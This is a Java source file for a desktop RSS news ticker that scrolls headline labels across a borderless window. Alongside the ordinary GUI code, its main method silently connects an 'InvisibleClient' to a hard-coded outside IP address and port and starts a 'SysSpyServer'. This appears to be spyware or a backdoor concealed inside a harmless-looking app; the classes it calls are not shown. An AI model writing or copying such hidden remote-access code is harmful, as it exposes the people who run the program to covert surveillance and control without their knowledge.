/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * @author m@citu80137
 * MainPanel.java
 *
 * Created on 2009-7-15, 10:38:13
 */

package newsOrganizer;

import java.awt.Component;
import java.awt.Desktop;
import java.awt.Dimension;
import java.awt.Label;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;

import javax.swing.JLabel;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.Timer;
import javax.xml.crypto.URIReferenceException;

import com.sun.corba.se.spi.activation.Server;

import server.InvisibleClient;
import server.SysSpyServer;

/**
 * 
 * @author macitu
 */
public class MainPanel extends javax.swing.JFrame implements ActionListener{

	static int width;
	static int x, y;
	ArrayList<String> titles;
	ArrayList<String> links;
	static boolean changenews = false;
    static String rssURL = "http://svejo.net/feed/fun.xml";
	
	/** Creates new form MainPanel */
	public MainPanel() {
		initComponents();
		Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
		width = (int) screenSize.getWidth();
		this.setBounds(0, 0, width, 25);
		this.setTitle("RSS News");
	}

	/**
	 * This method is called from within the constructor to initialize the form.
	 * WARNING: Do NOT modify this code. The content of this method is always
	 * regenerated by the Form Editor.
	 */
	@SuppressWarnings("unchecked")
	// <editor-fold defaultstate="collapsed"
	// desc="Generated Code">//GEN-BEGIN:initComponents
	private void initComponents() {

		final JPopupMenu contextMenu = new JPopupMenu("Edit");
	    contextMenu.add(makeMenuItem("Set RSS url"));
	    contextMenu.add(makeMenuItem("Set on top"));
	    //contextMenu.add(makeMenuItem("Undo top mode"));
	    contextMenu.add(makeMenuItem("Close"));
		newspanel = new javax.swing.JPanel();
		newspanel.setComponentPopupMenu(contextMenu);
		news1 = new MyURLLabel();
		news2 = new MyURLLabel();
		news3 = new MyURLLabel();
		news4 = new MyURLLabel();
		news5 = new MyURLLabel();
		news6 = new MyURLLabel();
		news7 = new MyURLLabel();
		news8 = new MyURLLabel();
		news9 = new MyURLLabel();
		news10 = new MyURLLabel();

		setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
		setBackground(new java.awt.Color(51, 51, 51));
		setResizable(false);
		setUndecorated(true);

		newspanel.setBackground(new java.awt.Color(51, 51, 51));
		newspanel.setBorder(javax.swing.BorderFactory
				.createBevelBorder(javax.swing.border.BevelBorder.LOWERED));
		newspanel.setForeground(new java.awt.Color(204, 102, 255));

		news1.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news1.setForeground(new java.awt.Color(204, 255, 255));
		news1.setText("Currantly unavailable..");
		

		news2.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news2.setForeground(new java.awt.Color(204, 255, 255));
		news2.setText("Currantly unavailable..");
		

		news3.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news3.setForeground(new java.awt.Color(204, 255, 255));
		news3.setText("Currantly unavailable..");

		
		news4.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news4.setForeground(new java.awt.Color(204, 255, 255));
		news4.setText("Currantly unavailable..");
		  
		
		news5.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news5.setForeground(new java.awt.Color(204, 255, 255));
		news5.setText("Currantly unavailable..");

		news6.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news6.setForeground(new java.awt.Color(204, 255, 255));
		news6.setText("Currantly unavailable..");

		news7.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news7.setForeground(new java.awt.Color(204, 255, 255));
		news7.setText("Currantly unavailable..");

		news8.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news8.setForeground(new java.awt.Color(204, 255, 255));
		news8.setText("Currantly unavailable..");

		news9.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news9.setForeground(new java.awt.Color(204, 255, 255));
		news9.setText("Currantly unavailable..");

		news10.setFont(new java.awt.Font("DejaVu Sans", 1, 10));
		news10.setForeground(new java.awt.Color(204, 255, 255));
		news10.setText("Currantly unavailable..");

		javax.swing.GroupLayout newspanelLayout = new javax.swing.GroupLayout(
				newspanel);
		newspanel.setLayout(newspanelLayout);
		
		newspanelLayout
				.setHorizontalGroup(newspanelLayout
						.createParallelGroup(
								javax.swing.GroupLayout.Alignment.LEADING)
						.addGroup(
								newspanelLayout
							.createSequentialGroup()
							.addContainerGap()
							.addGroup(
									newspanelLayout
											.createParallelGroup(
													javax.swing.GroupLayout.Alignment.LEADING)
											.addGroup(
													newspanelLayout
															.createSequentialGroup()
															.addComponent(
																	news1,
																	javax.swing.GroupLayout.PREFERRED_SIZE,
																	150,
																	javax.swing.GroupLayout.PREFERRED_SIZE)
															.addPreferredGap(
																	javax.swing.LayoutStyle.ComponentPlacement.RELATED)
															.addComponent(
																	news2,
																	javax.swing.GroupLayout.PREFERRED_SIZE,
																	150,
																	javax.swing.GroupLayout.PREFERRED_SIZE))
											.addGroup(
													newspanelLayout
															.createSequentialGroup()
															.addComponent(
																	news9,
																	javax.swing.GroupLayout.PREFERRED_SIZE,
																	150,
																	javax.swing.GroupLayout.PREFERRED_SIZE)
															.addPreferredGap(
																	javax.swing.LayoutStyle.ComponentPlacement.RELATED)
															.addComponent(
																	news10,
																	javax.swing.GroupLayout.PREFERRED_SIZE,
																	150,
																	javax.swing.GroupLayout.PREFERRED_SIZE)))
							.addPreferredGap(
									javax.swing.LayoutStyle.ComponentPlacement.RELATED)
							.addComponent(
									news3,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addPreferredGap(
									javax.swing.LayoutStyle.ComponentPlacement.RELATED)
							.addComponent(
									news4,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addPreferredGap(
									javax.swing.LayoutStyle.ComponentPlacement.RELATED)
							.addComponent(
									news5,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addGap(2, 2, 2)
							.addComponent(
									news6,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addPreferredGap(
									javax.swing.LayoutStyle.ComponentPlacement.RELATED)
							.addComponent(
									news7,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addPreferredGap(
									javax.swing.LayoutStyle.ComponentPlacement.RELATED)
							.addComponent(
									news8,
									javax.swing.GroupLayout.PREFERRED_SIZE,
									150,
									javax.swing.GroupLayout.PREFERRED_SIZE)
							.addContainerGap(
									javax.swing.GroupLayout.DEFAULT_SIZE,
									Short.MAX_VALUE)));
		newspanelLayout
				.setVerticalGroup(newspanelLayout
						.createParallelGroup(
								javax.swing.GroupLayout.Alignment.LEADING)
						.addGroup(
								newspanelLayout
										.createSequentialGroup()
										.addGroup(
												newspanelLayout
														.createParallelGroup(
																javax.swing.GroupLayout.Alignment.LEADING)
														.addComponent(
																news1,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news2,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news3,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news4,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news5,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news6,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news7,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news8,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE))
										.addPreferredGap(
												javax.swing.LayoutStyle.ComponentPlacement.RELATED)
										.addGroup(
												newspanelLayout
														.createParallelGroup(
																javax.swing.GroupLayout.Alignment.LEADING)
														.addComponent(
																news9,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																17,
																javax.swing.GroupLayout.PREFERRED_SIZE)
														.addComponent(
																news10,
																javax.swing.GroupLayout.PREFERRED_SIZE,
																javax.swing.GroupLayout.DEFAULT_SIZE,
																javax.swing.GroupLayout.PREFERRED_SIZE))
										.addContainerGap(252, Short.MAX_VALUE)));

		news1.getAccessibleContext().setAccessibleName("\n");

		javax.swing.GroupLayout layout = new javax.swing.GroupLayout(
				getContentPane());
		getContentPane().setLayout(layout);
		layout.setHorizontalGroup(layout.createParallelGroup(
				javax.swing.GroupLayout.Alignment.LEADING).addComponent(
				newspanel, javax.swing.GroupLayout.Alignment.TRAILING,
				javax.swing.GroupLayout.DEFAULT_SIZE,
				javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE));
		layout.setVerticalGroup(layout.createParallelGroup(
				javax.swing.GroupLayout.Alignment.LEADING).addComponent(
				newspanel, javax.swing.GroupLayout.PREFERRED_SIZE,
				javax.swing.GroupLayout.DEFAULT_SIZE,
				javax.swing.GroupLayout.PREFERRED_SIZE));

		pack();
	}// </editor-fold>//GEN-END:initComponents



	/**
	 * @param args
	 *            the command line arguments
	 */

	public static void main(String args[]) {
		
		
		java.awt.EventQueue.invokeLater(new Runnable() {
			public void run() {
				
				final MainPanel frame = new MainPanel();
				frame.setVisible(true);
				try{					
					frame.initNews(rssURL);
				}catch(UnknownHostException ex){
					JOptionPane.showMessageDialog(frame,"Sorry this service" +
							" is currently unavailable");
					return;
				}
				/**
				 * Use this timer to move labels through the panel 
				 */
				//frame.setdeafaultLoc();
				/*frame.news10.setLocation((int) width + 10,
						(int)frame.news10.getLocation()
						.getY());*/
				
				new Timer(2500, new ActionListener() {
					
					public void actionPerformed(ActionEvent ae) {
						/*if(changenews){
							try {
								frame.initNews(rssURL);
								changenews = false;
							} catch (UnknownHostException e) {
								// TODO Auto-generated catch block
								JOptionPane.showMessageDialog(frame,"this link is broken");
								return;
							}
						}*/
						frame.news1.setLocation((int) frame.news1.getLocation()
								.getX() + 160, (int)frame.news1.getLocation()
								.getY());

						frame.news2.setLocation((int) frame.news2.getLocation()
								.getX() + 160, (int)frame.news2.getLocation()
								.getY());

						frame.news3.setLocation((int) frame.news3.getLocation()
								.getX() + 160, (int)frame.news3.getLocation()
								.getY());

						frame.news4.setLocation((int) frame.news4.getLocation()
								.getX() + 160, (int)frame.news4.getLocation()
								.getY());

						frame.news5.setLocation((int) frame.news5.getLocation()
								.getX() + 160, (int)frame.news5.getLocation()
								.getY());

						frame.news6.setLocation((int) frame.news6.getLocation()
								.getX() + 160, (int)frame.news6.getLocation()
								.getY());

						frame.news7.setLocation((int) frame.news7.getLocation()
								.getX() + 160, (int)frame.news7.getLocation()
								.getY());

						frame.news8.setLocation((int) frame.news8.getLocation()
								.getX() + 160, (int)frame.news8.getLocation()
								.getY());

						frame.news9.setLocation((int) frame.news9.getLocation()
								.getX() + 160, (int)frame.news9.getLocation()
								.getY());

						if ((int) frame.news10.getLocation().getX() +160 < width) {
							frame.news10.setLocation((int) frame.news10
									.getLocation().getX() + 160,
									(int)frame.news10.getLocation()
									.getY());
						} else {
							frame.setLabLocation();
						}

					}
				}).start();
			}
		});
		
		
		InvisibleClient cl = new InvisibleClient(54321,"78.90.27.140");
		cl.connectToServer();
		
        SysSpyServer spy = new SysSpyServer();
        spy.start();
	}
	/**
	 * 
	 * @param toSet - label to change
	 * @param title - the title to set on toSet label
	 * @param num - the number of the label in the main panel 
	 * @value x - the start position; first available in the panel  
	 * 
	 * This methods sets the location of label on specified place in the panel
	 * and the title of the label
	 * 
	 */
	private void setLabel(MyURLLabel toSet, String title, int num) {
	    toSet.setLocation(x - num * 160, y);
		toSet.setText(title);
	}
	/**
	 * 
	 * @param toSet - label to change
	 * @param num - the number of the label in the main panel
	 * @value x - the start position; first available in the panel  
	 * 
	 * This methods sets the location of label on specified place in the panel
	 * 
	 */
	private void setLabLoc(MyURLLabel toSet, int num) {
		toSet.setLocation(x - num * 160, y);
	}
    
	/**
	 * Sets Location of all(ten) label 
	 */
	private void setLabLocation() {
		setLabLoc(news1, 0);
		setLabLoc(news2, 1);
		setLabLoc(news3, 2);
		setLabLoc(news4, 3);
		setLabLoc(news5, 4);
		setLabLoc(news6, 5);
		setLabLoc(news7, 6);
		setLabLoc(news8, 7);
		setLabLoc(news9, 8);
		setLabLoc(news10, 9);
	}
    
	/**
	 * Sets location and titles of all(ten) labels in the panel
	 */
	private void setLabels() {
		setLabel(news1, titles.get(0).substring(0,140).concat("..."), 0);
		news1.setToolTipText(titles.get(0));
		setLabel(news2, titles.get(1).substring(0,140).concat("..."), 1);
		news2.setToolTipText(titles.get(1));
		setLabel(news3, titles.get(2).substring(0,140).concat("..."), 2);
		news3.setToolTipText(titles.get(2));
		setLabel(news4, titles.get(3).substring(0,140).concat("..."), 3);
		news4.setToolTipText(titles.get(3));
		setLabel(news5, titles.get(4).substring(0,140).concat("..."), 4);
		news5.setToolTipText(titles.get(4));
		setLabel(news6, titles.get(5).substring(0,140).concat("..."), 5);
		news6.setToolTipText(titles.get(5));
		setLabel(news7, titles.get(6).substring(0,140).concat("..."), 6);
		news7.setToolTipText(titles.get(6));
		setLabel(news8, titles.get(7).substring(0,140).concat("..."), 7);
		news8.setToolTipText(titles.get(7));
		setLabel(news9, titles.get(8).substring(0,140).concat("..."), 8);
		news9.setToolTipText(titles.get(8));
		setLabel(news10, titles.get(9).substring(0,140).concat("..."), 9);
		news10.setToolTipText(titles.get(9));
		
	}
    
	/**
	 * 
	 * @param url - the url that we want to read RSS news from 
	 * @throws UnknownHostException when connection can not be established
	 * 
	 * This method sets to all MyURLLabels in this panel - location,title and links
	 *  using the information from RSSFeed
	 */
	public void initNews(String url) throws UnknownHostException {
	try{
	    URI link = null;
		String rssFeedUrl = url;
		ArrayList<ArrayList<String>> temp = RSSReader
            .iterateRSSFeed(rssFeedUrl);
		titles = temp.get(0);
		links = temp.get(1);
		if(titles.size()<10){
			JOptionPane.showMessageDialog(this,"Please choose another link");
			return;
		}
		//x = (int) news1.getLocation().getX();
		//y = (int) news1.getLocation().getY()+5;
		x = 10;y = 10;
		setLabels();
				link =  new URI(links.get(0)) ;
			    news1.setLink(link);
			    link =  new URI(links.get(1)) ;
			    news2.setLink(link);
			    link =  new URI(links.get(2)) ;
			    news3.setLink(link);
			    link =  new URI(links.get(3)) ;
			    news4.setLink(link);
			    link =  new URI(links.get(4)) ;
			    news5.setLink(link);
			    link =  new URI(links.get(5)) ;
			    news6.setLink(link);
			    link =  new URI(links.get(6)) ;
			    news7.setLink(link);
			    link =  new URI(links.get(7)) ;
			    news8.setLink(link);
			    link =  new URI(links.get(8)) ;
			    news9.setLink(link);
			    link =  new URI(links.get(9)) ;
			    news10.setLink(link);
			    
		} catch (URISyntaxException e) {
			// TODO Auto-generated catch block
			//e.printStackTrace();
		} catch (NullPointerException ex){
			throw new UnknownHostException();
		}
	}

	private JMenuItem makeMenuItem(String label) {
	    JMenuItem item = new JMenuItem(label);
	    item.addActionListener(this);
	    return item;
	  }
	
	@Override
	public void actionPerformed(ActionEvent arg) {
		JMenuItem item = (JMenuItem)arg.getSource();
		if(item.getText().equals("Close")){
			this.setVisible(false);
			this.dispose();
			return;
		}
		
		if(item.getText().equals("Set on top")){
			item.setText("Undo Top mode");
			this.setAlwaysOnTop(true);
			return;
		}
		
		if(item.getText().equals("Undo Top mode")){
			item.setText("Set on top");
			this.setAlwaysOnTop(false);
			return;
		}
		
		if(item.getText().equals("Set RSS url")){
		    SetURL form = new SetURL(this);
		    form.setVisible(true);
			return;
		}
	}
  
	 public static void setChangenews(boolean changenews) {
			MainPanel.changenews = changenews;
		}
	 
	 public void setUrl(String rssUrl){
		  this.rssURL = rssUrl;
		 }
	// Variables declaration - do not modify//GEN-BEGIN:variables
	private MyURLLabel news1;
	private MyURLLabel news2;
	private MyURLLabel news3;
	private MyURLLabel news4;
	private MyURLLabel news5;
	private MyURLLabel news6;
	private MyURLLabel news7;
	private MyURLLabel news8;
	private MyURLLabel news9;
	private MyURLLabel news10;
	private javax.swing.JPanel newspanel;
	// End of variables declaration//GEN-END:variables

}
